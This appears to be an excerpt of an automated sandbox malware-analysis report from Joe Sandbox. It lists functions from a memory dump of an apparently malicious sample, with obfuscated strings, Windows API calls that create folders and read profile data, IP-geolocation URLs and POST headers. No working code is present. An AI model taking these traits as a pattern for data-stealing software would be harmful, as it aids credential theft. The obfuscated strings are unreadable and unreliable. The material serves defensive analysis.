D\P\, xrefs: 009E36AF
qlND, xrefs: 009E3C46
qOLS, xrefs: 009E3B9A
'+/!, xrefs: 009E5CE8
!, xrefs: 009E3AE4
[SC, xrefs: 009E3CBF
PDD, xrefs: 009E47F9
qcJC, xrefs: 009E47E5
pfr, xrefs: 009E58BD
vZ^], xrefs: 009E3896
BW]S, xrefs: 009E47EF
pfr, xrefs: 009E4BD1
pfr, xrefs: 009E54D5
pfr, xrefs: 009E3565
+1,*, xrefs: 009E37F1
"|',, xrefs: 009E3ADA
NAAV, xrefs: 009E3E3F
P, xrefs: 009E29A1
q}DIAW, xrefs: 009E486B, 009E4871
qb@S, xrefs: 009E4E90
qhF\, xrefs: 009E2C66
qhJQ, xrefs: 009E3882
qZ@H, xrefs: 009E549C
aalq, xrefs: 009E30D3
2--, xrefs: 009E35F2
pfr, xrefs: 009E5D54
a`|r, xrefs: 009E3B1B
^G]@, xrefs: 009E3BA4
qz@H, xrefs: 009E545C, 009E545F
qM@^, xrefs: 009E436A
%=!5, xrefs: 009E48CE
qb@S, xrefs: 009E4D96
A, xrefs: 009E3172
qlND, xrefs: 009E3CAB
}scd, xrefs: 009E30DD
pfr, xrefs: 009E4A77
^G]@, xrefs: 009E59DE
FF\D, xrefs: 009E3047
q]^\, xrefs: 009E509A
2--, xrefs: 009E3338
pfr, xrefs: 009E3764
qi]_, xrefs: 009E303D
6h%!, xrefs: 009E349F
2--, xrefs: 009E38FE
qJND, xrefs: 009E5267
U, xrefs: 009E5A50
qiN]TA, xrefs: 009E2FFA, 009E3005
EZVF, xrefs: 009E388C
XZZ., xrefs: 009E348B
TQAU, xrefs: 009E320A
ThZX, xrefs: 009E2C70
Y_K, xrefs: 009E30A5
U, xrefs: 009E597E
PPRG, xrefs: 009E5271
^G]@, xrefs: 009E596A

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: CreateDirectory$CopyFile$Cpp_errorFolderPathThrow_std::_$ErrorLast
String ID: !$";!$$"|',$$/##$%=!5$'$'+/!$+$+1,*$1#&%$2--$2--$2--$5+"($6$6h%!$A$AYEY$AYEY$AYEY$BW]S$CB_Q$D\P\$EZVF$E]XQ$FF\D$IQM!$M$NAAV$P$P@pX$PDD$PPRG$PPRG$PPRG$Q[Ln$TQAU$ThZX$ThZX$U$U$U$V[]$W[T$W[T$XZZ.$Y_K$[SC$[SC$\SYL$^G]@$^G]@$^G]@$^G]@$^G]@$^ZJQ$^]I^$_$_EXV$_EXV$_S_$_S_$_ZJQ$aMK%$aNM/$a`|r$aalq$nTGD$pfr$pfr$pfr$pfr$pfr$pfr$pfr$pfr$pfr$pfr$pfr$pfr$pfr$q$q$q$q$qJND$qJND$qJND$qKVo$qM@^$qM@^$qM@^$qM@^$qOLS$qOLS$qOLS$qOLS$qOLS$qYLH$qZ@H$q]NF$q]^\$q]^\$q]^\$qb@S$qb@S$qb@S$qbZ^$qcF^$qcJC$qgla$qgla$qhF\$qhJQ$qh{`$qiN]TA$qi]_$qkCU\W]@$qlND$qlND$qwcy$qz@H$qzcQ$q}DIAW$q}FW$q}FW$q}[UP_$q~FT$vZ^]$x}jb$|zr$}scd
API String ID: 3120683962-27992976
Opcode ID: b5936ff8d70cac39f0cba2af43028d28e24afd337bfd81aa1edf7cf7c3417aca
Instruction ID: 460ac55af7376bde050b041d42f46fdfc331ec6e3bc284a13feaa3ce8f620d34
Opcode Fuzzy Hash: b5936ff8d70cac39f0cba2af43028d28e24afd337bfd81aa1edf7cf7c3417aca
Instruction Fuzzy Hash: 48637B70C0429CDADB21EBA8CD59BEEBBB4AF55304F4441D8D44967292EB741F88CF92

Uniqueness

Uniqueness Score: -1.00%

Function 009BAB90 Relevance: 184.2, Strings: 146, Instructions: 1711
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

COBUB, xrefs: 009BC713
N, xrefs: 009BB06C
Z, xrefs: 009BB050
NG[I, xrefs: 009BBF7D
X, xrefs: 009BC125
], xrefs: 009BB58F
Z, xrefs: 009BB5EA
NAZ^E@JwZRR, xrefs: 009BBDF2
n, xrefs: 009BBB36
IKB_x\U[, xrefs: 009BBC3E
H, xrefs: 009BC580
*, xrefs: 009BBB44
1, xrefs: 009BBB3D
IO[Q, xrefs: 009BB6E8
IO[Q, xrefs: 009BB773
3, xrefs: 009BBB4B
L, xrefs: 009BB026
Z, xrefs: 009BC117
IKB_x\U[, xrefs: 009BBCA5
IO[Q, xrefs: 009BB8D2
S, xrefs: 009BBB28
., xrefs: 009BB5F8
NAZ^E@J, xrefs: 009BC473
D]@oR]WQ, xrefs: 009BC4D3
NMD^D^, xrefs: 009BAE94
\, xrefs: 009BC14F
NG[I, xrefs: 009BC6C8
L, xrefs: 009BBAB8
K, xrefs: 009BC141
Z, xrefs: 009BC16B
NMNMD^D^, xrefs: 009BAEBE
NAZ^E@J, xrefs: 009BC3B7
A, xrefs: 009BBACD
\KZD, xrefs: 009BAD16
,, xrefs: 009BB0B2
D]@oR]WQ, xrefs: 009BC417
T, xrefs: 009BBB05
v, xrefs: 009BC1B8
H, xrefs: 009BB081
^, xrefs: 009BB02D
], xrefs: 009BBAFE
D^, xrefs: 009BADED
@, xrefs: 009BB5B2
U, xrefs: 009BBB0C
&, xrefs: 009BB0E3
Y, xrefs: 009BC148
], xrefs: 009BB5C7
Q, xrefs: 009BB5B9
P, xrefs: 009BBADB
P, xrefs: 009BB065
Z, xrefs: 009BC187
https://www.maxmind.com/en/locate-my-ip-address, xrefs: 009BC0AD
Content-Type: application/x-www-form-urlencoded, xrefs: 009BACC6, 009BAFE0, 009BBA6B
^, xrefs: 009BB5CE
\, xrefs: 009BB05E
[, xrefs: 009BBAE2
2, xrefs: 009BC1E9
NG[I, xrefs: 009BB88B
F, xrefs: 009BB034
X, xrefs: 009BC156
S, xrefs: 009BC13A
X, xrefs: 009BB09D
NAZ^E@J, xrefs: 009BC2F7
+, xrefs: 009BC1FE
P, xrefs: 009BC195
IKB_x\U[, xrefs: 009BBF39
V, xrefs: 009BC179
c, xrefs: 009BC1F0
/, xrefs: 009BB0CE
D^D^, xrefs: 009BAE29
IO[Q, xrefs: 009BB6B2
#, xrefs: 009BB0B9
NG[I, xrefs: 009BCD60
), xrefs: 009BC19C
^, xrefs: 009BB1A5
NAZ^E@JwZRR, xrefs: 009BBD1A
D]@oR]WQ, xrefs: 009BC644
, xrefs: 009BC1DB
@, xrefs: 009BC732
1, xrefs: 009BC1A3
IKB_x\U[, xrefs: 009BBD7D
Y, xrefs: 009BBAC6
5, xrefs: 009BB0D5
^, xrefs: 009BB1CF
-, xrefs: 009BB5F1
^E], xrefs: 009BCEA9
NAZ^E@J, xrefs: 009BC5E4
NG[I, xrefs: 009BC51A
IKB_x\U[, xrefs: 009BBE92
@, xrefs: 009BC584
D, xrefs: 009BB56C
, xrefs: 009BC1F7
NG[I, xrefs: 009BB916
H, xrefs: 009BC72E
^, xrefs: 009BB581
^, xrefs: 009BB573
x@D^, xrefs: 009BCEA2
NG[I, xrefs: 009BBED6
], xrefs: 009BB59D
F, xrefs: 009BB57A
m, xrefs: 009BC1AA
T, xrefs: 009BBB1A
2, xrefs: 009BB0AB
U, xrefs: 009BC172
NAZ^E@J, xrefs: 009BC357
R, xrefs: 009BBB21
S, xrefs: 009BBAF7
Y, xrefs: 009BC11E
NAZ^E@J, xrefs: 009BB73B
7, xrefs: 009BB0C0
I, xrefs: 009BBAB1
\, xrefs: 009BC133
\, xrefs: 009BB088
W, xrefs: 009BB588
Z, xrefs: 009BB5A4
Z, xrefs: 009BBB2F
https://ipinfo.io/, xrefs: 009BB502
>, xrefs: 009BC1E2
P, xrefs: 009BB0A4
(, xrefs: 009BB0DC
6, xrefs: 009BBB59
5, xrefs: 009BC1B1
y, xrefs: 009BB0C7
w, xrefs: 009BC1C6
{, xrefs: 009BBB52
NAZ^E@J, xrefs: 009BB7C6
Z, xrefs: 009BB5E3
NAZ^, xrefs: 009BCCCA
[, xrefs: 009BC18E
h, xrefs: 009BC1CD
S, xrefs: 009BC15D
H, xrefs: 009BB5D5
D, xrefs: 009BB1CB
E@J, xrefs: 009BCCD4
m, xrefs: 009BB5FF
v, xrefs: 009BC7CE
V, xrefs: 009BB07A
], xrefs: 009BB5C0
D, xrefs: 009BB1A1
+, xrefs: 009BC1D4
k, xrefs: 009BC1BF
COBUB, xrefs: 009BC565
D, xrefs: 009BB057
{, xrefs: 009BBB60
X, xrefs: 009BBAE9
IO[Q, xrefs: 009BB847

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: $ $#$&$($)$*$+$+$,$-$.$/$1$1$2$2$3$5$5$6$7$>$@$@$@$A$COBUB$COBUB$Content-Type: application/x-www-form-urlencoded$D$D$D$D$D]@oR]WQ$D]@oR]WQ$D]@oR]WQ$D^$D^D^$E@J$F$F$H$H$H$H$I$IKB_x\U[$IKB_x\U[$IKB_x\U[$IKB_x\U[$IKB_x\U[$IO[Q$IO[Q$IO[Q$IO[Q$IO[Q$K$L$L$N$NAZ^$NAZ^E@J$NAZ^E@J$NAZ^E@J$NAZ^E@J$NAZ^E@J$NAZ^E@J$NAZ^E@J$NAZ^E@JwZRR$NAZ^E@JwZRR$NG[I$NG[I$NG[I$NG[I$NG[I$NG[I$NG[I$NMD^D^$NMNMD^D^$P$P$P$P$Q$R$S$S$S$S$T$T$U$U$V$V$W$X$X$X$X$Y$Y$Y$Z$Z$Z$Z$Z$Z$Z$Z$[$[$\$\$\$\$\KZD$]$]$]$]$]$^$^$^$^$^$^$^E]$c$h$https://ipinfo.io/$https://www.maxmind.com/en/locate-my-ip-address$k$m$m$n$v$v$w$x@D^$y${${
API String ID: 667068680-3885790087
Opcode ID: bf66f3e2d03bda4e6b224a8ff34da2c88f5aedfb56d1508bda0fb0e35a1f38bc
Instruction ID: 5d3670da7433521455602f4579de375ab6c4cb637e0ab892c890557085e81e6d
Opcode Fuzzy Hash: bf66f3e2d03bda4e6b224a8ff34da2c88f5aedfb56d1508bda0fb0e35a1f38bc
Instruction Fuzzy Hash: DE132A7090829CD9EB22D768CD597DEBBB45F26304F0441D9D1897B2C2D7B90F88CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 009F8520 Relevance: 127.7, APIs: 3, Strings: 69, Instructions: 1711COMMON

Download Yara Rule

APIs

Part of subcall function 009AB1A0: GetLastError.KERNEL32(?,009FE8D7,?,00000000), ref: 009AB207

Part of subcall function 009AB270: CreateDirectoryA.KERNEL32(?,00000000,00000005,?,?,009FE8D7,?,00000000), ref: 009AB2B5

Part of subcall function 009AB1A0: std::_Throw_Cpp_error.LIBCPMT ref: 009AB24F
Part of subcall function 009AB1A0: std::_Throw_Cpp_error.LIBCPMT ref: 009AB260

CreateDirectoryA.KERNEL32(?,00000000), ref: 009F9B2F
CreateDirectoryA.KERNEL32(?,00000000), ref: 009F9CDC
CreateDirectoryA.KERNEL32(?,00000000), ref: 009F9DA2

Strings

", xrefs: 009FA333
B?9, xrefs: 009FA106
kocct, xrefs: 009F8E8A
^KLECW, xrefs: 009F9811
IABQ, xrefs: 009F8BB8
q, xrefs: 009F93BE
qm@_, xrefs: 009F92F8
ql]_FAVFF, xrefs: 009F8636
y|zu, xrefs: 009F8E63
[OCET, xrefs: 009F97AF
kocct, xrefs: 009F986B
COBU, xrefs: 009F8D54
]O[X, xrefs: 009F9600
YADU_, xrefs: 009FA080
HV_YCSG]ZXsYM_HV_YCSG]ZXsYM_, xrefs: 009F8CE1
IABQX\, xrefs: 009F9590
q, xrefs: 009F89C8
[OCET, xrefs: 009F8D8D
y|zu, xrefs: 009F9844
LL, xrefs: 009F9F5B
IABQX\, xrefs: 009F8BA0
YADU_, xrefs: 009FA0A6
LL, xrefs: 009F9484
q, xrefs: 009F9192
kocct, xrefs: 009F8F2D
]O[X, xrefs: 009F9630
]O[X, xrefs: 009F8C40
IFK, xrefs: 009F9DD1
LL, xrefs: 009F8A8E
XQV, xrefs: 009FA03F
X\, xrefs: 009F8BC2
COBU, xrefs: 009F8D24
HV_YCSG]ZXsYM_, xrefs: 009F96D1
IABQ, xrefs: 009F95A8
d1NN, xrefs: 009F8F66
Z[VG, xrefs: 009F9302
qm@_Z[VG, xrefs: 009F8605
d1NN, xrefs: 009F9947
y|zu, xrefs: 009F98E7
q, xrefs: 009F9E7C
qm@_, xrefs: 009F88E9
EZ[@~\_M, xrefs: 009F8ED0
ql]_FAVFF, xrefs: 009F9AB9
q, xrefs: 009F924D
HV_YCSG]ZXsYM_, xrefs: 009F8C94
r, xrefs: 009F936B
X\, xrefs: 009F95B2
r, xrefs: 009F9E29
]O[X, xrefs: 009F8C10
EZ[@~\_M, xrefs: 009F98B1
^K]F, xrefs: 009FA002
[OCET, xrefs: 009F8DBF
[OCET, xrefs: 009F977D
y|zu, xrefs: 009F8F06
XQV, xrefs: 009FA00C
^KLECW, xrefs: 009F8E2D
^K]F, xrefs: 009FA035
q, xrefs: 009F879C
ZL, xrefs: 009FA23F
EJ, xrefs: 009FA265
COBU, xrefs: 009F9714
q, xrefs: 009F883E
q, xrefs: 009F9C45
r, xrefs: 009F895C
COBU, xrefs: 009F9744
kocct, xrefs: 009F990E
Z[VG, xrefs: 009F88F3
q, xrefs: 009F9D13
HV_YCSG]ZXsYM_, xrefs: 009F9684

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000B39000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C1E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C20000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C22000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C24000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C26000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C28000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C2E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C30000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C32000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C5F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C61000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C63000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C65000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C67000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C69000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C6D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928592869.0000000000C92000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2930639960.0000000000EBD000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931124712.0000000000F6F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931196216.0000000000F70000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001340000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2931612945.0000000001362000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_9a0000_zFe0EAtgy56yDxXht4nmozfb.jbxd

Similarity

API ID: CreateDirectory$Cpp_errorThrow_std::_$ErrorLast
String ID: "$B?9$COBU$COBU$COBU$COBU$EJ$EZ[@~\_M$EZ[@~\_M$HV_YCSG]ZXsYM_$HV_YCSG]ZXsYM_$HV_YCSG]ZXsYM_$HV_YCSG]ZXsYM_HV_YCSG]ZXsYM_$IABQ$IABQ$IABQX\$IABQX\$IFK$LL$LL$LL$XQV$XQV$X\$X\$YADU_$YADU_$ZL$Z[VG$Z[VG$[OCET$[OCET$[OCET$[OCET$]O[X$]O[X$]O[X$]O[X$^KLECW$^KLECW$^K]F$^K]F$d1NN$d1NN$kocct$kocct$kocct$kocct$q$q$q$q$q$q$q$q$q$ql]_FAVFF$ql]_FAVFF$qm@_$qm@_$qm@_Z[VG$r$r$r$y|zu$y|zu$y|zu$y|zu
API String ID: 411135664-3525299892
Opcode ID: bfe47038818a57d5bd35dc36073befb592c8df151dcb363da2b4b5f01601ee19
Instruction ID: ff435e03a9d1c83c20e508cc5f4cd636015bb9c44a843a68a8154da613c47448
Opcode Fuzzy Hash: bfe47038818a57d5bd35dc36073befb592c8df151dcb363da2b4b5f01601ee19
Instruction Fuzzy Hash: 4F038A709042ACCEDB25EB64DD99BEEBBB4AF26304F1440D8D14967192DB741F88CF92

Uniqueness

Uniqueness Score: -1.00%

Function 009D4B20 Relevance: 104.3, APIs: 5, Strings: 53, Instructions: 2842COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 009D4C41
GetPrivateProfileSectionNamesA.KERNEL32(?,00001000,?), ref: 009D4CE6
GetPrivateProfileStringA.KERNEL32(?,}O[X,00000000,?,00000104,?), ref: 009D4DB6

Part of subcall function 009AAB40: __fread_nolock.LIBCMT ref: 009AAC3C

CreateDirectoryA.KERNEL32(?,00000000,?,515A7F71,?,00000000,515A7F71,515A7F72,?), ref: 009D6806
CreateDirectoryA.KERNEL32(?,00000000), ref: 009D6B77

Strings

qMJB, xrefs: 009D73D6
qEJI, xrefs: 009D6C14
}\@V, xrefs: 009D4D00
W, xrefs: 009D75F2
]O\CF]AP, xrefs: 009D581B, 009D584F
KA]]bGQY\Bbju, xrefs: 009D5F91, 009D5F9E
}O[X, xrefs: 009D4DB1, 009D4DB4
X^V, xrefs: 009D4D0C
qB@W, xrefs: 009D4E58
qMJB, xrefs: 009D70F0
q^]_qB@W, xrefs: 009D4C92
]\@VX^V, xrefs: 009D5421, 009D5454
\, xrefs: 009D694E
X\C, xrefs: 009D5565, 009D5592
qMJB, xrefs: 009D75DE
EA\D_S^Q, xrefs: 009D6104, 009D6111
NK]D, xrefs: 009D755F
NK]D, xrefs: 009D7282
qMJB, xrefs: 009D72FF
q^]_, xrefs: 009D4C65
W[_Q, xrefs: 009D4C6C
AAHY_A, xrefs: 009D5958, 009D595E
KA]]bGQY\Bbju, xrefs: 009D5EC2, 009D5ECF
AAHY_A, xrefs: 009D5B91, 009D5B9E
qMJB, xrefs: 009D7474
X\C, xrefs: 009D5FDC, 009D600C
qEJI, xrefs: 009D701E
W, xrefs: 009D73EC
AAHY_A, xrefs: 009D6696, 009D669C
cannot use operator[] with a string argument with , xrefs: 009D7803, 009D785D
qEJI, xrefs: 009D6EC4
qEJI, xrefs: 009D6E33
AAHY_, xrefs: 009D56B7, 009D56E4
qMJB, xrefs: 009D7194
]O\CF]AP, xrefs: 009D654B, 009D657F
3, xrefs: 009D7814
]\@VX^V, xrefs: 009D5D92, 009D5DBF
_FFY, xrefs: 009D6744
\, xrefs: 009D4DBC
qEJI, xrefs: 009D6D5B
_EXV, xrefs: 009D4E68
W, xrefs: 009D7313
Y, xrefs: 009D6462
X\C, xrefs: 009D6155, 009D6182
juRJ, xrefs: 009D674E
W, xrefs: 009D7488
AAHY_A, xrefs: 009D4BBE, 009D4BC5
AAHY_A, xrefs: 009D5B41, 009D5B4E
qEJI, xrefs: 009D6B85
W, xrefs: 009D71A8
KA]]bGQY\Bbju, xrefs: 009D5F25, 009D5F32
_, xrefs: 009D693E
W, xrefs: 009D7106

Memory Dump Source

Source File: 00000007.00000002.2927482190.00000000009A1000.00000020.00000001.01000000.00000006.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000007.00000002.2927405279.00000000009A0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2927941718.0000000000AB5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928233053.0000000000ADE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928307043.0000000000AE0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928429432.0000000000AE5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.2928542421.0000000000B37000.00000004.00000001.01000000.00000006.sdmpDownload File
